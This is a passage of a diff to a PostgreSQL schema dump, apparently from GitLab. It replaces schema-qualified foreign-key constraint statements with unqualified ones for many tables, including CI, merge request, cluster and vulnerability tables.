-ALTER TABLE ONLY public.snippet_user_mentions
- ADD CONSTRAINT fk_rails_3e00189191 FOREIGN KEY (snippet_id) REFERENCES public.snippets(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_resources
+ ADD CONSTRAINT fk_rails_430336af2d FOREIGN KEY (resource_group_id) REFERENCES ci_resource_groups(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_helm
- ADD CONSTRAINT fk_rails_3e2b1c06bc FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_fluentd
+ ADD CONSTRAINT fk_rails_4319b1dcd2 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.epic_user_mentions
- ADD CONSTRAINT fk_rails_3eaf4d88cc FOREIGN KEY (epic_id) REFERENCES public.epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_strategies_user_lists
+ ADD CONSTRAINT fk_rails_43241e8d29 FOREIGN KEY (strategy_id) REFERENCES operations_strategies(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages
- ADD CONSTRAINT fk_rails_3ec9fd7912 FOREIGN KEY (end_event_label_id) REFERENCES public.labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY lfs_file_locks
+ ADD CONSTRAINT fk_rails_43df7a0412 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_assignees
- ADD CONSTRAINT fk_rails_3f6f926bd5 FOREIGN KEY (board_id) REFERENCES public.boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_assignees
+ ADD CONSTRAINT fk_rails_443443ce6f FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.description_versions
- ADD CONSTRAINT fk_rails_3ff658220b FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_dependency_links
+ ADD CONSTRAINT fk_rails_4437bf4070 FOREIGN KEY (dependency_id) REFERENCES packages_dependencies(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_kubernetes_namespaces
- ADD CONSTRAINT fk_rails_40cc7ccbc3 FOREIGN KEY (cluster_project_id) REFERENCES public.cluster_projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY project_auto_devops
+ ADD CONSTRAINT fk_rails_45436b12b2 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_node_namespace_links
- ADD CONSTRAINT fk_rails_41ff5fb854 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_requests_closing_issues
+ ADD CONSTRAINT fk_rails_458eda8667 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.epic_issues
- ADD CONSTRAINT fk_rails_4209981af6 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_environment_deploy_access_levels
+ ADD CONSTRAINT fk_rails_45cc02a931 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_refs
- ADD CONSTRAINT fk_rails_4249db8cc3 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY prometheus_alert_events
+ ADD CONSTRAINT fk_rails_4675865839 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_resources
- ADD CONSTRAINT fk_rails_430336af2d FOREIGN KEY (resource_group_id) REFERENCES public.ci_resource_groups(id) ON DELETE CASCADE;
+ALTER TABLE ONLY smartcard_identities
+ ADD CONSTRAINT fk_rails_4689f889a9 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_fluentd
- ADD CONSTRAINT fk_rails_4319b1dcd2 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_feedback
+ ADD CONSTRAINT fk_rails_472f69b043 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_strategies_user_lists
- ADD CONSTRAINT fk_rails_43241e8d29 FOREIGN KEY (strategy_id) REFERENCES public.operations_strategies(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_custom_attributes
+ ADD CONSTRAINT fk_rails_47b91868a8 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.lfs_file_locks
- ADD CONSTRAINT fk_rails_43df7a0412 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipeline_artifacts
+ ADD CONSTRAINT fk_rails_4a70390ca6 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_assignees
- ADD CONSTRAINT fk_rails_443443ce6f FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_deletion_schedules
+ ADD CONSTRAINT fk_rails_4b8c694a6c FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_dependency_links
- ADD CONSTRAINT fk_rails_4437bf4070 FOREIGN KEY (dependency_id) REFERENCES public.packages_dependencies(id) ON DELETE CASCADE;
+ALTER TABLE ONLY design_management_designs
+ ADD CONSTRAINT fk_rails_4bb1073360 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_auto_devops
- ADD CONSTRAINT fk_rails_45436b12b2 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issue_metrics
+ ADD CONSTRAINT fk_rails_4bb543d85d FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests_closing_issues
- ADD CONSTRAINT fk_rails_458eda8667 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_metrics_settings
+ ADD CONSTRAINT fk_rails_4c6037ee4f FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_environment_deploy_access_levels
- ADD CONSTRAINT fk_rails_45cc02a931 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY prometheus_metrics
+ ADD CONSTRAINT fk_rails_4c8957a707 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.prometheus_alert_events
- ADD CONSTRAINT fk_rails_4675865839 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY scim_identities
+ ADD CONSTRAINT fk_rails_4d2056ebd9 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.smartcard_identities
- ADD CONSTRAINT fk_rails_4689f889a9 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY snippet_user_mentions
+ ADD CONSTRAINT fk_rails_4d3f96b2cb FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_feedback
- ADD CONSTRAINT fk_rails_472f69b043 FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployment_clusters
+ ADD CONSTRAINT fk_rails_4e6243e120 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.user_custom_attributes
- ADD CONSTRAINT fk_rails_47b91868a8 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_repository_renamed_events
+ ADD CONSTRAINT fk_rails_4e6524febb FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipeline_artifacts
- ADD CONSTRAINT fk_rails_4a70390ca6 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY aws_roles
+ ADD CONSTRAINT fk_rails_4ed56f4720 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_deletion_schedules
- ADD CONSTRAINT fk_rails_4b8c694a6c FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY security_scans
+ ADD CONSTRAINT fk_rails_4ef1e6b4c6 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.design_management_designs
- ADD CONSTRAINT fk_rails_4bb1073360 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_diff_files
+ ADD CONSTRAINT fk_rails_501aa0a391 FOREIGN KEY (merge_request_diff_id) REFERENCES merge_request_diffs(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issue_metrics
- ADD CONSTRAINT fk_rails_4bb543d85d FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_iteration_events
+ ADD CONSTRAINT fk_rails_501fa15d69 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.project_metrics_settings
- ADD CONSTRAINT fk_rails_4c6037ee4f FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY status_page_settings
+ ADD CONSTRAINT fk_rails_506e5ba391 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.prometheus_metrics
- ADD CONSTRAINT fk_rails_4c8957a707 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_repository_storage_moves
+ ADD CONSTRAINT fk_rails_5106dbd44a FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.scim_identities
- ADD CONSTRAINT fk_rails_4d2056ebd9 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY x509_commit_signatures
+ ADD CONSTRAINT fk_rails_53fe41188f FOREIGN KEY (x509_certificate_id) REFERENCES x509_certificates(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.snippet_user_mentions
- ADD CONSTRAINT fk_rails_4d3f96b2cb FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_group_value_streams
+ ADD CONSTRAINT fk_rails_540627381a FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.deployment_clusters
- ADD CONSTRAINT fk_rails_4e6243e120 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_node_namespace_links
+ ADD CONSTRAINT fk_rails_546bf08d3e FOREIGN KEY (geo_node_id) REFERENCES geo_nodes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_repository_renamed_events
- ADD CONSTRAINT fk_rails_4e6524febb FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_knative
+ ADD CONSTRAINT fk_rails_54fc91e0a0 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.aws_roles
- ADD CONSTRAINT fk_rails_4ed56f4720 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY terraform_states
+ ADD CONSTRAINT fk_rails_558901b030 FOREIGN KEY (locked_by_user_id) REFERENCES users(id);
-ALTER TABLE ONLY public.security_scans
- ADD CONSTRAINT fk_rails_4ef1e6b4c6 FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_deploy_keys
+ ADD CONSTRAINT fk_rails_5682fc07f8 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE RESTRICT;
-ALTER TABLE ONLY public.merge_request_diff_files
- ADD CONSTRAINT fk_rails_501aa0a391 FOREIGN KEY (merge_request_diff_id) REFERENCES public.merge_request_diffs(id) ON DELETE CASCADE;
+ALTER TABLE ONLY experiment_users
+ ADD CONSTRAINT fk_rails_56d4708b4a FOREIGN KEY (experiment_id) REFERENCES experiments(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_iteration_events
- ADD CONSTRAINT fk_rails_501fa15d69 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY issue_user_mentions
+ ADD CONSTRAINT fk_rails_57581fda73 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.status_page_settings
- ADD CONSTRAINT fk_rails_506e5ba391 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_assignees
+ ADD CONSTRAINT fk_rails_579d375628 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_repository_storage_moves
- ADD CONSTRAINT fk_rails_5106dbd44a FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_cilium
+ ADD CONSTRAINT fk_rails_59dc12eea6 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.x509_commit_signatures
- ADD CONSTRAINT fk_rails_53fe41188f FOREIGN KEY (x509_certificate_id) REFERENCES public.x509_certificates(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_group_stages
+ ADD CONSTRAINT fk_rails_5a22f40223 FOREIGN KEY (start_event_label_id) REFERENCES labels(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_value_streams
- ADD CONSTRAINT fk_rails_540627381a FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY badges
+ ADD CONSTRAINT fk_rails_5a7c055bdc FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_node_namespace_links
- ADD CONSTRAINT fk_rails_546bf08d3e FOREIGN KEY (geo_node_id) REFERENCES public.geo_nodes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_label_events
+ ADD CONSTRAINT fk_rails_5ac1d2fc24 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_knative
- ADD CONSTRAINT fk_rails_54fc91e0a0 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_merge_request_rules_groups
+ ADD CONSTRAINT fk_rails_5b2ecf6139 FOREIGN KEY (approval_merge_request_rule_id) REFERENCES approval_merge_request_rules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.terraform_states
- ADD CONSTRAINT fk_rails_558901b030 FOREIGN KEY (locked_by_user_id) REFERENCES public.users(id);
+ALTER TABLE ONLY namespace_limits
+ ADD CONSTRAINT fk_rails_5b3f2bc334 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_deploy_keys
- ADD CONSTRAINT fk_rails_5682fc07f8 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE RESTRICT;
+ALTER TABLE ONLY protected_environment_deploy_access_levels
+ ADD CONSTRAINT fk_rails_5b9f6970fe FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.experiment_users
- ADD CONSTRAINT fk_rails_56d4708b4a FOREIGN KEY (experiment_id) REFERENCES public.experiments(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_branch_unprotect_access_levels
+ ADD CONSTRAINT fk_rails_5be1abfc25 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issue_user_mentions
- ADD CONSTRAINT fk_rails_57581fda73 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_providers_gcp
+ ADD CONSTRAINT fk_rails_5c2c3bc814 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_assignees
- ADD CONSTRAINT fk_rails_579d375628 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY insights
+ ADD CONSTRAINT fk_rails_5c4391f60a FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_cilium
- ADD CONSTRAINT fk_rails_59dc12eea6 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_scanners
+ ADD CONSTRAINT fk_rails_5c9d42a221 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_stages
- ADD CONSTRAINT fk_rails_5a22f40223 FOREIGN KEY (start_event_label_id) REFERENCES public.labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY reviews
+ ADD CONSTRAINT fk_rails_5ca11d8c31 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.badges
- ADD CONSTRAINT fk_rails_5a7c055bdc FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epic_issues
+ ADD CONSTRAINT fk_rails_5d942936b4 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_label_events
- ADD CONSTRAINT fk_rails_5ac1d2fc24 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_weight_events
+ ADD CONSTRAINT fk_rails_5eb5cb92a1 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rules_groups
- ADD CONSTRAINT fk_rails_5b2ecf6139 FOREIGN KEY (approval_merge_request_rule_id) REFERENCES public.approval_merge_request_rules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_project_rules
+ ADD CONSTRAINT fk_rails_5fb4dd100b FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.namespace_limits
- ADD CONSTRAINT fk_rails_5b3f2bc334 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_highest_roles
+ ADD CONSTRAINT fk_rails_60f6c325a6 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_environment_deploy_access_levels
- ADD CONSTRAINT fk_rails_5b9f6970fe FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dependency_proxy_group_settings
+ ADD CONSTRAINT fk_rails_616ddd680a FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_branch_unprotect_access_levels
- ADD CONSTRAINT fk_rails_5be1abfc25 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_deploy_tokens
+ ADD CONSTRAINT fk_rails_61a572b41a FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_providers_gcp
- ADD CONSTRAINT fk_rails_5c2c3bc814 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY status_page_published_incidents
+ ADD CONSTRAINT fk_rails_61e5493940 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.insights
- ADD CONSTRAINT fk_rails_5c4391f60a FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployment_clusters
+ ADD CONSTRAINT fk_rails_6359a164df FOREIGN KEY (deployment_id) REFERENCES deployments(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_scanners
- ADD CONSTRAINT fk_rails_5c9d42a221 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY evidences
+ ADD CONSTRAINT fk_rails_6388b435a6 FOREIGN KEY (release_id) REFERENCES releases(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.reviews
- ADD CONSTRAINT fk_rails_5ca11d8c31 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY jira_imports
+ ADD CONSTRAINT fk_rails_63cbe52ada FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.epic_issues
- ADD CONSTRAINT fk_rails_5d942936b4 FOREIGN KEY (epic_id) REFERENCES public.epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_occurrence_pipelines
+ ADD CONSTRAINT fk_rails_6421e35d7d FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_weight_events
- ADD CONSTRAINT fk_rails_5eb5cb92a1 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_deploy_tokens
+ ADD CONSTRAINT fk_rails_6477b01f6b FOREIGN KEY (deploy_token_id) REFERENCES deploy_tokens(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_project_rules
- ADD CONSTRAINT fk_rails_5fb4dd100b FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY reviews
+ ADD CONSTRAINT fk_rails_64798be025 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.user_highest_roles
- ADD CONSTRAINT fk_rails_60f6c325a6 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_feature_flags
+ ADD CONSTRAINT fk_rails_648e241be7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.dependency_proxy_group_settings
- ADD CONSTRAINT fk_rails_616ddd680a FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_sources_projects
+ ADD CONSTRAINT fk_rails_64b6855cbc FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_deploy_tokens
- ADD CONSTRAINT fk_rails_61a572b41a FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY board_group_recent_visits
+ ADD CONSTRAINT fk_rails_64bfc19bc5 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.status_page_published_incidents
- ADD CONSTRAINT fk_rails_61e5493940 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_merge_request_rule_sources
+ ADD CONSTRAINT fk_rails_64e8ed3c7e FOREIGN KEY (approval_project_rule_id) REFERENCES approval_project_rules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.deployment_clusters
- ADD CONSTRAINT fk_rails_6359a164df FOREIGN KEY (deployment_id) REFERENCES public.deployments(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipeline_chat_data
+ ADD CONSTRAINT fk_rails_64ebfab6b3 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.evidences
- ADD CONSTRAINT fk_rails_6388b435a6 FOREIGN KEY (release_id) REFERENCES public.releases(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_project_rules_protected_branches
+ ADD CONSTRAINT fk_rails_65203aa786 FOREIGN KEY (approval_project_rule_id) REFERENCES approval_project_rules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.jira_imports
- ADD CONSTRAINT fk_rails_63cbe52ada FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY design_management_versions
+ ADD CONSTRAINT fk_rails_6574200d99 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_occurrence_pipelines
- ADD CONSTRAINT fk_rails_6421e35d7d FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_merge_request_rules_approved_approvers
+ ADD CONSTRAINT fk_rails_6577725edb FOREIGN KEY (approval_merge_request_rule_id) REFERENCES approval_merge_request_rules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_deploy_tokens
- ADD CONSTRAINT fk_rails_6477b01f6b FOREIGN KEY (deploy_token_id) REFERENCES public.deploy_tokens(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_feature_flags_clients
+ ADD CONSTRAINT fk_rails_6650ed902c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.reviews
- ADD CONSTRAINT fk_rails_64798be025 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY web_hook_logs
+ ADD CONSTRAINT fk_rails_666826e111 FOREIGN KEY (web_hook_id) REFERENCES web_hooks(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_feature_flags
- ADD CONSTRAINT fk_rails_648e241be7 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY jira_imports
+ ADD CONSTRAINT fk_rails_675d38c03b FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_sources_projects
- ADD CONSTRAINT fk_rails_64b6855cbc FOREIGN KEY (source_project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_iteration_events
+ ADD CONSTRAINT fk_rails_6830c13ac1 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_group_recent_visits
- ADD CONSTRAINT fk_rails_64bfc19bc5 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_hashed_storage_migrated_events
+ ADD CONSTRAINT fk_rails_687ed7d7c5 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rule_sources
- ADD CONSTRAINT fk_rails_64e8ed3c7e FOREIGN KEY (approval_project_rule_id) REFERENCES public.approval_project_rules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY plan_limits
+ ADD CONSTRAINT fk_rails_69f8b6184f FOREIGN KEY (plan_id) REFERENCES plans(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipeline_chat_data
- ADD CONSTRAINT fk_rails_64ebfab6b3 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_feature_flags_issues
+ ADD CONSTRAINT fk_rails_6a8856ca4f FOREIGN KEY (feature_flag_id) REFERENCES operations_feature_flags(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_project_rules_protected_branches
- ADD CONSTRAINT fk_rails_65203aa786 FOREIGN KEY (approval_project_rule_id) REFERENCES public.approval_project_rules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY prometheus_alerts
+ ADD CONSTRAINT fk_rails_6d9b283465 FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.design_management_versions
- ADD CONSTRAINT fk_rails_6574200d99 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY term_agreements
+ ADD CONSTRAINT fk_rails_6ea6520e4a FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rules_approved_approvers
- ADD CONSTRAINT fk_rails_6577725edb FOREIGN KEY (approval_merge_request_rule_id) REFERENCES public.approval_merge_request_rules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_compliance_framework_settings
+ ADD CONSTRAINT fk_rails_6f5294f16c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_feature_flags_clients
- ADD CONSTRAINT fk_rails_6650ed902c FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY users_security_dashboard_projects
+ ADD CONSTRAINT fk_rails_6f6cf8e66e FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.web_hook_logs
